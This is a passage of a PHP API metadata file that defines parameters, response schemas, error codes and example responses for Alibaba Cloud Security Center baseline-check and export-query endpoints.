'检查项分类名称', + 'description' => '检查项分类名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'hc.check.type.attack_defense', + ], + ], + [ + 'name' => 'CheckWarningStatus', + 'in' => 'query', + 'schema' => [ + 'title' => '风险状态', + 'description' => '风险状态。默认为null，查询全部状态。取值：'."\n" + .'- **1**：未通过'."\n" + .'- **3**：已通过'."\n" + .'- **6**：已加白'."\n" + .'- **8**：已修复', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '3', + ], + ], + [ + 'name' => 'CheckLevel', + 'in' => 'query', + 'schema' => [ + 'title' => '风险等级', + 'description' => '风险等级。默认为null，查询所有等级。取值：'."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'medium', + ], + ], + [ + 'name' => 'CheckItemFuzzy', + 'in' => 'query', + 'schema' => [ + 'title' => '检查项名称模糊匹配', + 'description' => '检查项名称模糊匹配。', + 'type' => 'string', + 'required' => false, + 'example' => 'password', + ], + ], + [ + 'name' => 'ContainerFieldName', + 'in' => 'query', + 'schema' => [ + 'title' => '容器安全查询参数名称', + 'description' => '容器安全查询参数名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'clusterId', + ], + ], + [ + 'name' => 'ContainerFieldValue', + 'in' => 'query', + 'schema' => [ + 'title' => '容器安全查询值', + 'description' => '容器安全查询参数值。', + 'type' => 'string', + 'required' => false, + 'example' => 'c471f0f61b9c04f8380556e922cf1****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产分组ID。'."\n" + .'> 您可以调用[DescribeAllGroups](~~DescribeAllGroups~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1161****', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '数据来源。默认值为**default**。取值：'."\n" + .'- **agentless**：无代理检测'."\n" + .'- **default**：主机基线', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '指定要查询的服务器UUID列表。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~141932~~)接口获取服务器的UUID。', + 'type' => 'array', + 'items' => [ + 'description' => '指定要查询的服务器UUID。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~141932~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'CheckWarningStatusList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '风险等级列表，当和参数CheckWarningStatus同时填充时，仅CheckWarningStatus参数生效。', + 'type' => 'array', + 'items' => [ + 'description' => '风险状态，取值：'."\n" + .'- **1**：未通过'."\n" + .'- **3**：已通过'."\n" + .'- **6**：已加白', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '筛选告警的起始时间，仅在查询历史已处理告警场景时生效。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1732793158366', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1232428423234****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PageResult', + 'description' => '检查项风险统计分页列表。', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '检查项风险统计信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项风险统计信息。', + 'type' => 'object', + 'properties' => [ + 'RiskType' => [ + 'title' => '基线分类', + 'description' => '基线分类。', + 'type' => 'string', + 'deprecated' => true, + 'example' => 'weak_password', + ], + 'Alias' => [ + 'title' => '基线分类名称', + 'description' => '基线分类名称。', + 'type' => 'string', + 'deprecated' => true, + 'example' => 'week_pa****', + ], + 'CheckId' => [ + 'title' => '检查项id', + 'description' => '检查项id。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '696', + ], + 'CheckItem' => [ + 'title' => '检查项描述', + 'description' => '检查项描述。', + 'type' => 'string', + 'example' => 'Config the Event Audit policys', + ], + 'CheckLevel' => [ + 'title' => '检查项风险等级', + 'description' => '检查项风险等级。取值：'."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'high', + ], + 'CheckType' => [ + 'title' => '检查项类别', + 'description' => '检查项类别。', + 'type' => 'string', + 'example' => 'Security audit', + ], + 'Advice' => [ + 'title' => '检查项类别', + 'description' => '检查项建议。', + 'type' => 'string', + 'example' => 'In the Administrative Tools window, double-click Local Security Policy. In the Local Security Policy window that appears, choose Security Settings\\\\Local Policies\\\\Audit Policy, configure all audit policies as: `Success, Failure`.', + ], + 'Description' => [ + 'title' => '检查项类别', + 'description' => '检查项详情描述。', + 'type' => 'string', + 'example' => 'Config the Event Audit policys', + ], + 'Status' => [ + 'title' => '检查项状态', + 'description' => '检查项风险状态。取值：'."\n" + .'- **1**：未通过'."\n" + .'- **3**：已通过'."\n" + .'- **6**：已加白'."\n" + .'- **8**：已修复', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'WarningMachineCount' => [ + 'title' => '检查项风险机器数量', + 'description' => '检查项风险影响的机器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'ContainerCheckItem' => [ + 'description' => '检查项是否属于容器运行时类别。取值：'."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'true', + ], + 'AffiliatedRiskTypes' => [ + 'description' => '归属的基线分类列表。', + 'type' => 'array', + 'items' => [ + 'description' => '归属的基线分类。', + 'type' => 'string', + 'example' => 'CIS Compliance checks', + ], + ], + 'AffiliatedRisks' => [ + 'description' => '归属的基线列表。', + 'type' => 'array', + 'items' => [ + 'description' => '归属的基线。', + 'type' => 'string', + 'example' => 'CIS Ubuntu Linux 14 LTS Benchmark', + ], + ], + 'EnableRisks' => [ + 'description' => '检查项已开启的基线列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项已开启的基线。', + 'type' => 'string', + 'example' => 'CIS Ubuntu Linux 14 LTS Benchmark'."\n", + ], + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的检查项的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '149', + ], + 'Count' => [ + 'description' => '查询到的检查项的当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'DC97C9EC-4B7D-5EFF-8A5E-A5CCC9ED****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"RiskType\\": \\"weak_password\\",\\n \\"Alias\\": \\"week_pa****\\",\\n \\"CheckId\\": 696,\\n \\"CheckItem\\": \\"Config the Event Audit policys\\",\\n \\"CheckLevel\\": \\"high\\",\\n \\"CheckType\\": \\"Security audit\\",\\n \\"Advice\\": \\"In the Administrative Tools window, double-click Local Security Policy. In the Local Security Policy window that appears, choose Security Settings\\\\\\\\\\\\\\\\Local Policies\\\\\\\\\\\\\\\\Audit Policy, configure all audit policies as: `Success, Failure`.\\",\\n \\"Description\\": \\"Config the Event Audit policys\\",\\n \\"Status\\": 1,\\n \\"WarningMachineCount\\": 20,\\n \\"ContainerCheckItem\\": true,\\n \\"AffiliatedRiskTypes\\": [\\n \\"CIS Compliance checks\\"\\n ],\\n \\"AffiliatedRisks\\": [\\n \\"CIS Ubuntu Linux 14 LTS Benchmark\\"\\n ],\\n \\"EnableRisks\\": [\\n \\"CIS Ubuntu Linux 14 LTS Benchmark\\\\n\\"\\n ]\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 4\\n },\\n \\"RequestId\\": \\"DC97C9EC-4B7D-5EFF-8A5E-A5CCC9ED****\\"\\n}","type":"json"}]', + 'title' => '获取基线检查项风险统计数据', + ], + 'ListCheckItemWarningMachine' => [ + 'summary' => '查询基线检查项风险影响的机器列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'title' => '检查项id', + 'description' => '检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '8', + ], + ], + [ + 'name' => 'RiskType', + 'in' => 'query', + 'schema' => [ + 'title' => '检查项所属类别', + 'description' => '检查项所属类别。', + 'type' => 'string', + 'required' => false, + 'example' => 'cis', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'title' => '检查项状态', + 'description' => '检查项状态。默认为null。取值：'."\n" + ."\n" + .'- **1**：未通过'."\n" + .'- **2**：验证中'."\n" + .'- **3**：已通过'."\n" + .'- **6**：已忽略'."\n" + .'- **7**：修复中'."\n" + .'- **8**：已修复', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '3', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'title' => '机器模糊匹配', + 'description' => '机器模糊匹配。', + 'type' => 'string', + 'required' => false, + 'example' => '225', + ], + ], + [ + 'name' => 'ContainerFieldName', + 'in' => 'query', + 'schema' => [ + 'title' => '容器安全查询参数名称', + 'description' => '容器安全查询参数名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'clusterId', + ], + ], + [ + 'name' => 'ContainerFieldValue', + 'in' => 'query', + 'schema' => [ + 'title' => '容器安全查询值', + 'description' => '容器安全查询参数值。', + 'type' => 'string', + 'required' => false, + 'example' => 'ce89cdd0ea732472a8703821b19e****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。起始值为**1**。默认值为**1**，表示从第**1**页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产分组ID。'."\n" + .'> 您可以调用[DescribeAllGroups](~~130972~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1161****', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '数据来源，为空时默认查询主机基线结果。取值：'."\n" + .'- **default**：主机'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '指定服务器UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '指定的服务器的UUID。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances ](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1082098404740323', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PageResult', + 'description' => '告警机器分页列表', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '告警机器列表。', + 'type' => 'array', + 'items' => [ + 'description' => '告警机器。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '检查项状态。取值：'."\n" + ."\n" + .'- **1**：未通过'."\n" + .'- **2**：验证中'."\n" + .'- **3**：已通过'."\n" + .'- **6**：已忽略'."\n" + .'- **7**：修复中'."\n" + .'- **8**：已修复', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Bind' => [ + 'description' => '资产是否已绑定授权。取值：'."\n" + ."\n" + .'- **true**：已绑定授权'."\n" + .'- **false**：未绑定授权', + 'type' => 'boolean', + 'example' => 'true', + ], + 'AuthVersion' => [ + 'description' => '资产的授权版本。取值：'."\n" + ."\n" + .'- **1**：免费版'."\n" + .'- **6**：防病毒版'."\n" + .'- **5**：高级版'."\n" + .'- **3**：企业版'."\n" + .'- **7**：旗舰版'."\n" + .'- **10**：仅采购增值服务版', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'PortOpen' => [ + 'description' => '该服务器是否有端口对公网开放。取值：'."\n" + ."\n" + .'- **true**：服务器有端口对公网开放'."\n" + ."\n" + .'- **false**：服务器无端口对公网开放', + 'type' => 'boolean', + 'example' => 'true', + ], + 'InstanceId' => [ + 'description' => '服务器实例ID。', + 'type' => 'string', + 'example' => 'i-bp1a69mvjujbakxu****', + ], + 'IntranetIp' => [ + 'description' => '受影响资产实例的私网IP地址。', + 'type' => 'string', + 'example' => '172.25.XX.XX', + ], + 'InternetIp' => [ + 'description' => '受影响资产实例的公网IP地址。', + 'type' => 'string', + 'example' => '8.210.XX.XX', + ], + 'InstanceName' => [ + 'description' => '服务器实例名称。', + 'type' => 'string', + 'example' => 'sql-test-0****', + ], + 'Uuid' => [ + 'description' => '服务器的uuid。', + 'type' => 'string', + 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', + ], + 'RegionId' => [ + 'description' => '资产所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Prompt' => [ + 'description' => '基线检查风险项的检查提示。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'There is a weak password (username/password): root/he*****34', + ], + 'WarningRiskList' => [ + 'description' => '检出此检查项风险的基线列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检出此检查项风险的基线。', + 'type' => 'object', + 'properties' => [ + 'RiskId' => [ + 'description' => '基线ID。', + 'type' => 'integer', + 'format' => 'int64', + 'deprecated' => true, + 'example' => '72', + ], + 'RiskName' => [ + 'description' => '基线的名称。', + 'type' => 'string', + 'deprecated' => true, + 'example' => 'Alibaba Cloud Linux/Aliyun Linux 2 Baseline for China classified protection of cybersecurity-Level II', + ], + ], + ], + 'deprecated' => true, + ], + 'FixList' => [ + 'description' => '检出此检查项风险的可修复基线列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检出此检查项风险的可修复基线。', + 'type' => 'object', + 'properties' => [ + 'RiskId' => [ + 'description' => '基线ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '72', + ], + 'RiskName' => [ + 'description' => '基线的名称。', + 'type' => 'string', + 'example' => 'Alibaba Cloud Linux/Aliyun Linux 2 Baseline for China classified protection of cybersecurity-Level II', + ], + ], + ], + ], + 'ContainerId' => [ + 'description' => '容器ID。', + 'type' => 'string', + 'example' => '48a6d9a92435a13ad573372c3f3c63b7e04d106458141df9f9215570********', + ], + 'ContainerName' => [ + 'description' => '容器名称。', + 'type' => 'string', + 'example' => 'step-build-ui-build', + ], + 'TargetName' => [ + 'description' => '扫描对象名称。', + 'type' => 'string', + 'example' => 'jenkins****', + ], + 'TargetId' => [ + 'description' => '扫描对象ID。', + 'type' => 'string', + 'example' => '30****', + ], + 'TargetType' => [ + 'description' => '对象类型。取值：'."\n" + ."\n" + .'- **ECS_SNAPSHOT**：快照'."\n" + .'- **ECS_IMAGE**：镜像', + 'type' => 'string', + 'example' => 'ECS_IMAGE', + ], + 'LastScanTime' => [ + 'description' => '最新扫描的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1694692471000', + ], + 'LastHandleTime' => [ + 'description' => '该机器的检查项风险的最新处理的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1694692471000', + ], + 'FixStatus' => [ + 'description' => '是否支持修复。取值：'."\n" + ."\n" + .'- **0**：不支持'."\n" + .'- **1**：支持', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AssetType' => [ + 'title' => '云产品资产的类型。', + 'description' => '云产品资产的类型。', + 'type' => 'string', + 'example' => '0', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的受影响资产的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '107', + ], + 'Count' => [ + 'description' => '查询到的受影响资产的当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '22B5615F-700E-575A-A6D5-DC8D7741****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"Status\\": 1,\\n \\"Bind\\": true,\\n \\"AuthVersion\\": 3,\\n \\"PortOpen\\": true,\\n \\"InstanceId\\": \\"i-bp1a69mvjujbakxu****\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"InstanceName\\": \\"sql-test-0****\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Prompt\\": \\"There is a weak password (username/password): root/he*****34\\",\\n \\"WarningRiskList\\": [\\n {\\n \\"RiskId\\": 72,\\n \\"RiskName\\": \\"Alibaba Cloud Linux/Aliyun Linux 2 Baseline for China classified protection of cybersecurity-Level II\\"\\n }\\n ],\\n \\"FixList\\": [\\n {\\n \\"RiskId\\": 72,\\n \\"RiskName\\": \\"Alibaba Cloud Linux/Aliyun Linux 2 Baseline for China classified protection of cybersecurity-Level II\\"\\n }\\n ],\\n \\"ContainerId\\": \\"48a6d9a92435a13ad573372c3f3c63b7e04d106458141df9f9215570********\\",\\n \\"ContainerName\\": \\"step-build-ui-build\\",\\n \\"TargetName\\": \\"jenkins****\\",\\n \\"TargetId\\": \\"30****\\",\\n \\"TargetType\\": \\"ECS_IMAGE\\",\\n \\"LastScanTime\\": 1694692471000,\\n \\"LastHandleTime\\": 1694692471000,\\n \\"FixStatus\\": 1,\\n \\"AssetType\\": \\"0\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 107,\\n \\"Count\\": 4\\n },\\n \\"RequestId\\": \\"22B5615F-700E-575A-A6D5-DC8D7741****\\"\\n}","type":"json"}]', + 'title' => '获取基线检查指定检查项告警机器', + ], + 'DescribeWarningExportInfo' => [ + 'summary' => '查询导出进度。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ExportId', + 'in' => 'query', + 'schema' => [ + 'description' => '导出任务的ID。'."\n" + .'> 您可以调用[ExportWarning](~~ExportWarning~~)接口导出，获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '14356', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Link' => [ + 'description' => '导出后Excel的下载链接。', + 'type' => 'string', + 'example' => 'https://eds.aliyun.com/notification/entitle/64b5c3e2-e52b-4d29-9617-e7e6d74XXXX', + ], + 'Progress' => [ + 'description' => '导出进度百分比（%）。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '79CFF74D-E967-5407-8A78-EE03B925FDAA', + ], + 'CurrentCount' => [ + 'description' => '当前已导出基线数据的条数。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Message' => [ + 'description' => '导出结果提示信息。固定值：**successful**。表示导出成功。', + 'type' => 'string', + 'example' => 'successful', + ], + 'FileName' => [ + 'description' => '导出的Excel文件名称。', + 'type' => 'string', + 'example' => 'app_20210917', + ], + 'TotalCount' => [ + 'description' => '查询到的基线信息的总数量。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'ExportStatus' => [ + 'description' => '导出任务的状态。'."\n" + ."\n" + .'取值：'."\n" + ."\n" + .'- **init**：导出初始化'."\n" + .'- **exporting**：导出进行中'."\n" + .'- **success**：导出成功', + 'type' => 'string', + 'example' => 'success', + ], + 'Id' => [ + 'description' => '基线导出任务ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '131231', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Link\\": \\"https://eds.aliyun.com/notification/entitle/64b5c3e2-e52b-4d29-9617-e7e6d74XXXX\\",\\n \\"Progress\\": 100,\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925FDAA\\",\\n \\"CurrentCount\\": 1,\\n \\"Message\\": \\"successful\\",\\n \\"FileName\\": \\"app_20210917\\",\\n \\"TotalCount\\": 100,\\n \\"ExportStatus\\": \\"success\\",\\n \\"Id\\": 131231\\n}","type":"json"}]', + 'title' => '基线导出进度查询', + ], + 'DescribeHcExportInfo' => [ + 'summary' => '查询基线导出的文件名称、下载链接等信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ExportId', + 'in' => 'query', + 'schema' => [ + 'description' => '导出任务的ID。您需要调用接口[ExportWarning](~~425092~~)，获取任务ID（**Id**）。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '443285', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '基线导出信息结果。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3C2C94CF-ED08-50C0-BC72-C5029251****', + ], + 'FileName' => [ + 'description' => '导出文件的名称。', + 'type' => 'string', + 'example' => 'health_check_export_2022****', + ], + 'CurrentCount' => [ + 'description' => '当前已导出数据的条数。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '148', + ], + 'Link' => [ + 'description' => '导出文件的下载链接。', + 'type' => 'string', + 'example' => 'https://hc-export.oss-cn-shanghai.aliyuncs.com/export_hc/health_check_export_20221222_1671699255808.zip?Expires=1672304056&OSSAccessKeyId=****&Signature=****', + ], + 'Progress' => [ + 'description' => '导出进度百分比（%）。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '89', + ], + 'Id' => [ + 'description' => '导出任务ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1082278', + ], + 'TotalCount' => [ + 'description' => '导出数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '624', + ], + 'GmtCreate' => [ + 'description' => '创建任务的时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2022-11-03T15:15Z', + ], + 'ResultStatus' => [ + 'description' => '导出任务的状态。取值：'."\n" + ."\n" + .'- **exporting**：导出进行中。'."\n" + ."\n" + .'- **success**：导出成功。', + 'type' => 'string', + 'example' => 'exporting', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3C2C94CF-ED08-50C0-BC72-C5029251****\\",\\n \\"FileName\\": \\"health_check_export_2022****\\",\\n \\"CurrentCount\\": 148,\\n \\"Link\\": \\"https://hc-export.oss-cn-shanghai.aliyuncs.com/export_hc/health_check_export_20221222_1671699255808.zip?Expires=1672304056&OSSAccessKeyId=****&Signature=****\\",\\n \\"Progress\\": 89,\\n \\"Id\\": 1082278,\\n \\"TotalCount\\": 624,\\n \\"GmtCreate\\": 0,\\n \\"ResultStatus\\": \\"exporting\\"\\n}","type":"json"}]', + 'title' => '查询基线风险导出信息', + ], + 'DescribeRisks' => [ + 'summary' => '根据基线ID或名称查询基线详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'RiskId', + 'in' => 'query', + 'schema' => [ + 'description' => '基线的ID。'."\n" + ."\n" + .'> 您可调用[DescribeCheckWarningSummary](~~DescribeCheckWarningSummary~~)接口获取基线ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '75', + ], + ], + [ + 'name' => 'RiskName', + 'in' => 'query', + 'schema' => [ + 'description' => '基线名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'docker', + ], + ], + [ + 'name' => 'Limit', + 'in' => 'query', + 'schema' => [ + 'description' => 